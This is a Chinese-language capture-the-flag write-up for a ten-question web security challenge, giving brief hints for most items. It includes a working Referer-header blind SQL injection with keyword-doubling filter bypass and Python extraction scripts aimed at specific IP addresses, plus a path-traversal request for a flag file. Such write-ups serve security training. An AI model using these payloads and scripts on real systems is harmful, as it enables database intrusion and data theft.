00x1 第一题:
题目:页面的背后是什么?
看源码
直接访问http://xxxx/api/admin即可
00x2 第二题:
题目:真正的秘密只有特殊的设备才能看到
需要更改User-Agent为bilibili Security Browser
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201026100700664.png#pic_center)
00x3 第三题
题目:密码是啥?
弱口令
00x4 第四题
题目:对不起,权限不足~
首先查看源码
将role值解密为 user
对role值进行爆破
00x5 第五题
题目:别人的秘密
查看源码
遍历uid值
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201026100909390.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3lpaWlpbmc=,size_16,color_FFFFFF,t_70#pic_center)
00x6 第六题
结束亦是开始
从大佬(机智的狐狸菌)那里搬运过来的,题已经关闭了无法复现,收藏一下。
sqlmap -u 'http://45.113.201.36/blog/single.php?id=1' --batch --level 5 --risk 3 --flush-session
sqlmap发现存在referer时间盲注,且后端数据库为MySQL,加上--dbms mysql --dbs开始枚举裤名
结果跑不出裤名,我爪巴了,看来是有过滤了。
经过群里某位不想暴露ID的大佬点破,手工构建referer
Referer: 0'^if(substr((selselectect database()),1,1)>binary 0x65,(selecselectt 1+~0),0) ununionion selecselectt 1,2#
成功回显。接下来套用脚本
import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,8):
left=33
right=128
while right-left!=1:
mid=(left+right)/2
# 读数据库名
payload="0'^if(substr((selselectect database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
# 读裤中有的表
# payload="0'^if(substr((seleselectct group_concat(table_name) from infoorrmation_schema.tables whewherere table_schema=database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
# 读表中存在的字段
# payload="0'^if(substr((selselectect group_concat(column_name) from infoorrmation_schema.columns whewherere table_name='flag' anandd table_schema=database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
flag+=chr(right)
print (flag)
获得库名、表名及字段名
接下来套用脚本获取flag
import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,40):
left=33
right=128
while right-left!=1:
mid=(left+right)/2
payload="0'^if(substr((selselectect flag from bilictf.flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
# print(payload)
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
# print(hex((left+right)/2))
# print(right)
flag+=chr(right)
print (flag)
获得flag6
00x7 第七题
需要少年自己去探索啦~
从大佬(机智的狐狸菌)那里搬运过来的,题已经关闭了无法复现,收藏一下。
在某一题的源码发现了一个可疑的api地址
http://45.113.201.36/api/images?file=banner.png
猜测是任意目录访问,猜解一下
http://45.113.201.36/api/images?file=…/…/…/secret.txt
获得神秘字符串
访问得到神秘字符串
一看就是base64 一次解密得到
JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG
解密个屁啊,将secret.txt修改为flag7.txt
访问http://45.113.201.36/api/images?file=…/…/…/flag7.txt获得flag7
00x8 第八题
端口扫描扫出6379端口
00x10 第十题
第十题的答案就是第六题做出来的flag
查看源码没有可利用的东西
进行目录扫描,扫描出http://xxxx/blog/test.php
JS Fuck解密
Github搜索
但是这个不对
应该是这一个
根据代码提示构造url,并根据前面的路径猜测。后面发现只要有flag.txt就行
看着这是第十题的flag